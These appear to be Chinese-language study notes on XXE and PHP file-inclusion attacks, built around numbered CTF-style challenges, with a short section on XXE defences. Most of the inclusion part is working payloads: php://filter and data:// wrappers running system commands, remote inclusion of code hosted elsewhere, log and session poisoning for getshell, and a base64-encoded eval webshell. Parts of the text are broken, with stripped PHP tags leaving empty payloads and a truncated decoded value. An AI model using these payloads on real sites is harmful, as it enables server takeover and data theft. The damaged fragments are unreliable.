XML格式(一种数据传输格式,现在被JSON取代):https://xz.aliyun.com/t/6887
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
参考文章
XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
XXE的特征:
发现有这些特征都可以用下面的流程测试。
XXE检测工具:
http://ceye.io/
http://www.dnslog.cn/
https://dnslog.io/
参考文章:https://www.cnblogs.com/20175211lyz/p/11413335.html
XXE黑盒发现:
1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
XXE白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计(xml)
3、可通过伪协议玩法绕过相关修复等
XXE修复防御方案:
-方案1 禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
-方案2 过滤用户提交的XML数据
过滤关键词:
示例演示所用测试:
利用主要基于libxml2
版本,其中libxml
是PHP的xml支持。
而libxml
版本在2.9.1及以后,默认不解析外部实体,很多利用将无法实现。其可以在phpinfo中进行查看
XXE没有回显数据:
小迪视频B占有
黑盒测试与白盒测试示例(小迪)参考:https://www.cnblogs.com/haorancracker/articles/17698940.html
XXE视频参考传送阵
1、本地包含LFI&远程包含RFI-区别
一个只能包含本地,一个可以远程加载
具体形成原因由代码和环境配置文件决定(远程条件决定)
2、各类脚本语言包含代码写法-见下文
<!--#include file="1.asp" -->
<!--#include file="top.aspx" -->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php Include('test.php')?>
3、各类脚本语言包含伪协议玩法
https://www.cnblogs.com/endust/p/11804767.html
#思路要点:
-黑盒发现:主要观察参数传递的数据和文件名是否对应
-白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
#本课总结:
1、有可控文件如能上传文件,配合上传后包含
2、无可控文件可以利用日志或Session&伪协议
3、代码固定目录及文件后缀时需考虑版本绕过
4、伪协议玩法是建立在代码中只有变量存在时
攻击思路:
黑盒发现:主要观察参数传递的数据和文件名是否对应
比如 f i l e = file= file=_GET[‘x’];//?x=index.php(文件名)
78
代码:
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
payload: ?file=php://input post:
payload: ?file=http://www.mumuxi8.com/1.txt 1.txt:
79
代码:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了file和php
payload: ?file=data://text/plain,=system('tac flag.*');?>
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:
远程文件包含:如果不支持,那就只能支持本地的。
条件:
allow_url_fopen:on
allow_url_include:on
在代码也有相关限制。
80-81
代码:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了php,data
尝试http,也被禁用了。还有file协议,但是file,zip等协议是加绝对路径的。http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
php被过滤了,这个在路径上是不能用*号代替的
。之前能用*号代替是因为他调用系统命令,比如system(‘tac flag.*’) 路径上的文件名字如果flag.*,那么系统就会认为他是flag.*
那么他可以包含日志文件,信息收集中间件是Nginx
在网上查看Nginx的日志文件为/var/log/nginx/access.log
1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:/var/log/nginx/access.log
82 - 86
session包含,参考:
https://www.cnblogs.com/lnterpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html
在每个环境下面有个目录存储,在phpstudy中,存储session目录D:\phpstudy_pro\Extensions\tmp\tmp
这里有很多文件以sess_开头的文件名
这个文件是固定路径,如果知道了这个路径,那么就可以用包含session文件来实现getshell
文件包含
本地包含:LFI(local file include)
包含一个文件,这个文件有后门代码,就可以shell连上去
这个文件哪里来?
1.可以通过文件上传获取,上传的文件在服务器上面。
2.没有文件上传,借助日志写入(UA),session文件写入
3.伪协议没有文件上传也能进行PHP代码执行
那么session到底怎么样才能getshell呢?
在自己本地构造一个upload文件,后缀为html
DOCTYPE html>
<html>
<body>
<form action="http://127.0.0.1:8081/web/include.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
form>
body>
html>
随便选一个文件进行上传,然后到存储session目录下观察session文件变化
发现访问就会产生session文件,虽然说sess_
头固定,但是后面是不固定的。
进行抓包,发现数据包中函数PHPSESSID
的值,与sess_
后面的值一直,修改PHPSESSID来进行控制sess_的文件名。
但是本地没有。
那么文件名应该怎么控制呢?通过表单PHP_SESSION_UPLOAD_PROGRESS
来控制sess_
文件内容,
比如
这个提交的sess_
内容是123
伪协议读写的条件:
php代码:
$file=$_GET['filename'];
include($file);
访问http://127.0.0.1:8081/web/include.php?filename=1.txt
这样就能包含成功。
访问http://127.0.0.1:8081/web/include.php?filename=php://filter/read=convert.base64-encode/resource=1.txt
这个就能读取到1.txt的内容
如果在代码中写上
$file=$_GET['filename']; include(‘mysql/’.$file);
包含文件的时候,包含mysql这个目录下的文件
那么如果还要包含,那应该怎么办?
这样访问就可以http://127.0.0.1:8081/web/include.php?filename=../1.txt
但是这个伪协议不能使用。伪协议不管前面和后面有没有东西,只要有东西都不可以。
87
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "".$content);
}else{
highlight_file(__FILE__);
}
发现urldecode解码,
1、利用base64:
url编码2次:php://filter/write=convert.base64-decode/resource=123.php
浏览器自动解码和代码进行解码(两次解码)
经过第一次编码%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%77%72%69%74%65%3D%63%6F%6E%76%65%72%74%2E%62%61%73%65%36%34%2D%64%65%63%6F%64%65%2F%72%65%73%6F%75%72%63%65%3D%31%32%33%2E%70%68%70
URL会自动解码(浏览器),最后也变成了php://filter/write=convert.base64-decode/resource=123.php
然后在进行一次编码
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%33%32%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
content用base64进行写的东西,所以传入的值也要编码
前面aa是填充值,为什么要加进去呢?因为base64编码默认是四个比特字节一次。
访问123.php,psot提交a=phpinfo();
2、利用凯撒13:
url编码2次:php://filter/write=string.rot13/resource=2.php
也要经过两次编码
content=
访问2.php,post提交1=phpinfo();
88
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
过滤PHP,各种符号,php代码编码写出无符号base64值
Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
是base64编码写法,需要没有过滤的字符。解码为:ad
117
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "".$contents);
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
$result = iconv("UCS-2LE","UCS-2BE", '');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?
参考链接:https://www.cnblogs.com/haorancracker/articles/17698941.html